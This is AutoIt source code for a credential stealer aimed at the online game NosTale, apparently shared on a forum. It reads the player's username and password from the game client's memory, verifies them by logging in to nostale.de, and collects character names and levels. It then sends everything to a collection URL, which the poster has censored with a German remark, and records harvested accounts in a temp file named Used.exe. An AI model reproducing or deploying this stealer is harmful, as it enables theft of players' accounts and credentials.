Func _Stealer()
If ProcessExists("NostaleX.dat") Then
$StaticOffsetID = Dec("3BA5B0")
$StaticOffsetPW = Dec("3BA8C4")
Global $OffsetID[3] = [0, 0xF8, 0x4F]
Global $OffsetPW[3] = [0, 0x50, 0x0]
$MemOpen = _MemoryOpen(ProcessExists("NostaleX.dat"))
$BaseAddr = _MemoryGetBaseAddress($MemOpen, 1)
$Addr = "0x" & Hex($BaseAddr + $StaticOffsetID)
$Addr2 = "0x" & Hex($BaseAddr + $StaticOffsetPW)
$ID = _MemoryPointerRead($Addr, $MemOpen, $OffsetID, "char[30]")
$PW = _MemoryPointerRead($Addr2, $MemOpen, $OffsetPW, "char[20]")
If StringRegExp($ID[1], "&m_szName") Then
$split = _StringBetween($ID[1], "", "&m_szName")
_TryIt()
EndIf
EndIf
EndFunc ;==>_Stealer
Func _TryIt()
If StringRegExp(FileRead(@TempDir & "\Used.exe"), $split[0]) = 0 Then
For $i3 = 1 To 3
$Packet = "username=" & $split[0] & "&password=" & $PW[1] & "&SubmitLoginForm=Senden"
$HTTP_AGENT = _WINHTTPOPEN("Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5")
$HTML = Http("Post","www.nostale.de","/user/login",$Packet)
If StringRegExp($HTML, "Willkommen " & $split[0]) = 1 Then
$login = 1
If $Firsttime = 1 Then
$PostSend &="<br><br>ID: " & $split[0] & "<br>" & "PW: " & $PW[1]
$Firsttime = 0
EndIf
$PostSend &= "<br>Server: " & $i3
$between = _StringBetween($HTML, '<a class="charge" href="http://de.shop.nostale.de/', '">')
Http("GET","de.shop.nostale.de",$between[0])
$Packet = "choosenServer=" & $i3
$HTML = Http("Post","de.shop.nostale.de","charchoose/chooseServer",$Packet)
$between2 = _StringBetween($HTML, "<option>", "</option>")
If @error = 1 Then
$PostSend &="<br> Nothing Found"
Else
If UBound($between2) - 1 = 0 Then
$Packet = "serverchoice=" & $i3 & "&classchoice=-1&ranking_typ=level&search=" & $between2[0]
$HTML = Http("Post","www.nostale.de","main/highscore/1/0/level",$Packet)
$between3 = _StringBetween($HTML, '<td class="rank-td-2-2">', "</td>")
If @error Then $PostSend &= "<br>Name: " & $between2[0] & "<br>Unter level5!"
$between4 = _StringBetween($HTML, '<td class="rank-td-2-3">', "</td>")
For $i = 0 To UBound($between3) - 1
If StringRegExp($between3[$i], $between2[0]) = 1 Then
$PostSend &="<br>Name: " & $between3[$i] & "<br>Level: " & $between4[$i]
EndIf
Next
Else
For $i2 = 0 To UBound($between2) - 1
$Packet = "serverchoice=" & $i3 & "&classchoice=-1&ranking_typ=level&search=" & $between2[$i2]
$HTML = Http("Post","www.nostale.de","main/highscore/1/0/level",$Packet)
$between3 = _StringBetween($HTML, '<td class="rank-td-2-2">', "</td>")
If @error Then $PostSend &="<br>Name: " & $between2[$i2] & "<br>Unter level5!"
$between4 = _StringBetween($HTML, '<td class="rank-td-2-3">', "</td>")
For $i = 0 To UBound($between3) - 1
If StringRegExp($between3[$i], $between2[$i2]) = 1 Then
$PostSend &= "<br>Name: " & $between3[$i] & "<br>Level: " & $between4[$i]
EndIf
Next
Next
EndIf
EndIf
EndIf
Next
If $login = 1 Then
InetRead("*Zensiert Dürft ihr selber raussuchen*" & $PostSend)
$login = 0
$PostSend = ""
EndIf
$Firsttime = 1
FileWrite(@TempDir & "\Used.exe", $split[0])
EndIf
EndFunc ;==>_TryIt
Func Http($GET,$Host,$Path,$Packet ="")
$HTTP_CONNECT = _WINHTTPCONNECT($HTTP_AGENT, $Host)
$HTTP_REQUEST = _WINHTTPOPENREQUEST($HTTP_CONNECT, $GET, $Path, "HTTP/1.1",$Host)
if $Packet <> "" then
_WINHTTPSENDREQUEST($HTTP_REQUEST, "Content-Type: application/x-www-form-urlencoded" & @CRLF, $Packet)
Else
_WINHTTPSENDREQUEST($HTTP_REQUEST, "Content-Type: application/x-www-form-urlencoded")
Endif
_WINHTTPRECEIVERESPONSE($HTTP_REQUEST)
$HTML = ""
Do
$HTML &= _WINHTTPREADDATA($HTTP_REQUEST)
Until @error
Return $HTML
Endfunc